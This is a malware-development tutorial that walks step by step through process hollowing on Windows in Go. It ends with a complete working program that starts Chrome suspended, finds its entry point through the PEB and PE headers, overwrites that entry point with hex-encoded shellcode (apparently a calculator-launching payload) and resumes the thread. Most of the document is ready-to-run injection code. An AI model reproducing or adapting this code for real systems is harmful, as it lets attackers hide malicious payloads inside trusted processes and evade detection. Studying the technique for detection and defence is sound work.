2. Process Hollowing

#processhollowing#golang #maldev #malwaredevelopment

Process Hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code.

The Windows APIs required to perform this technique are the following:

Create suspended process

Starting a process can be achieved by calling the CreateProcess API.

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

The most important parameter is the dwCreationFlags should be set to CREATE_SUSPENDED (0x04)

	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil, 
		windows.StringToUTF16Ptr(path),
		 nil,
		 nil, 
		 false, 
		 windows.CREATE_SUSPENDED, 
		 nil, 
		 nil, 
		 &startupInfo, 
		 &outProcInfo)
		 
	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)

Identify Image Base address

To get the base address of the image we need to perform the following:

  • Call NtQueryInformationProcess -> This will return the ProcessInfromation Struct. This struct includes the PEB Address

  • The base address is stored at offset PEB address + 0x10

  • We then read the contents of the address at memory PEB+0x10 using ReadProcessMemory.

Let's break that down

Calling NTQueryInfromationProcess

__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
  • ProcessHandle: This can be obtained from the ProcessInformation returned from the CreateProcess API

  • ProcessInformationClass: We will set that to ProcessBasicInformation (0x00)

  • ProcessInfromation: A pointer to the PROCESS_BASIC_INFORMATION structure

  • ProcessInformationLength: Length of the sturcture

  • ReturnLength: A pointer to a variable in which the function returns the size of the requested information

The windows package definition of PROCESS_BASIC_STRUCTURE didn't work well in this case so we go ahead and define our own struct.

type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}
	var ProcessInformation PROCESS_BASIC_INFORMATION
	ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0)))
	var ReturnLength uint32

	err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength)
	if err != nil {
		log.Fatalf("[FATAL] Failed to Query Information Process: %v", err)
	}

	imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10)
	fmt.Printf("[+] Image base address: 0x%x\n", imageBaseAddress)

We now have the address containing the image base address. Since we cannot read it directly we need to use ReadProcessMemory winapi. This API allows us to read the memory of a remote process.

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
  • hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API

  • lpBaseAddress: Target address, we will use the imageBaseAddress from the previous step.

  • lpBuffer: We will define a byte slice for the to store the bytes of the remote memory

  • nSize: Here we will read 8-bytes in the case of a 64-bit process. size(uintptr)

  • lpNumberOfBytesRead: Returns the size of bytes read in a variable

	lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0)))
	var lpNumberOfBytesRead uintptr

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err)
	}
	fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead)

	lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer)
	fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress)

A quick look in process hacker shows that the base address of the target Process is indeed the one returned by our code.

Identify the Entry Point

Let's break that down with some code:

Find PE Signature Address

Let's read the contents of the headers from memory using ReadProcessMemory.

	lpBuffer = make([]byte, 0x200)

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err)
	}
	lfaNewPos := lpBuffer[0x3c : 0x3c+0x4]
	lfanew := binary.LittleEndian.Uint32(lfaNewPos)

	fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew)

Having a look at PE-Bear we can confirm that the PE Signature Offset is 0x78 is correct.

We now add the 0x28 offset to 0x78 to get the entry point of the executable

	entrypointOffset := lfanew + 0x28
	entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4]
	entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
	fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA)
	entrypointAddress := lpBaseAddress + uint64(entrypointRVA)
	fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress)

Once again we confirm with PE-Bear

Overwrite code with our shellcode

Similar to process injection we now use WriteProcessMemory winapi to write our shellcode to the target region. The benefit is that we don't have to create a new thread but we just overwrite the contents in memory and resume the suspended thread.

WriteProcessMemory winapi will be used to write shellcode to the remote memory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
  • hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API

  • lpBaseAddress: entrypointAddress identified in the previous step

  • lpBuffer: A pointer to the beginning of our shellcode byte array

  • nSize: Size of our shellcode

  • lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, 
					uintptr(entrypointAddress), 
					&sc[0], 
					uintptr(len(sc)), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))

Resume Execution

To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achive that.

DWORD ResumeThread(
  [in] HANDLE hThread
);

We simply pass the handle returned by the CreateProcess API.

	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}

Complete Code

package main

import (
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"log"
	"unsafe"

	"golang.org/x/sys/windows"
)

type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}

func main() {
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil,
		windows.StringToUTF16Ptr(path),
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED,
		nil,
		nil,
		&startupInfo,
		&outProcInfo)

	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)

	var ProcessInformation PROCESS_BASIC_INFORMATION
	ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0)))
	var ReturnLength uint32

	err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength)
	if err != nil {
		log.Fatalf("[FATAL] Failed to Query Information Process: %v", err)
	}

	imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10)
	fmt.Printf("[+] Address Holding image base address: 0x%x\n", imageBaseAddress)

	lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0)))
	var lpNumberOfBytesRead uintptr

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err)
	}
	fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead)

	lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer)
	fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress)

	lpBuffer = make([]byte, 0x200)

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err)
	}
	lfaNewPos := lpBuffer[0x3c : 0x3c+0x4]
	lfanew := binary.LittleEndian.Uint32(lfaNewPos)

	fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew)

	entrypointOffset := lfanew + 0x28
	entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4]
	entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
	fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA)
	entrypointAddress := lpBaseAddress + uint64(entrypointRVA)
	fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress)

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(entrypointAddress), &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))

	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}
	fmt.Println("[+] Resuming Suspended Thread")

}

Last updated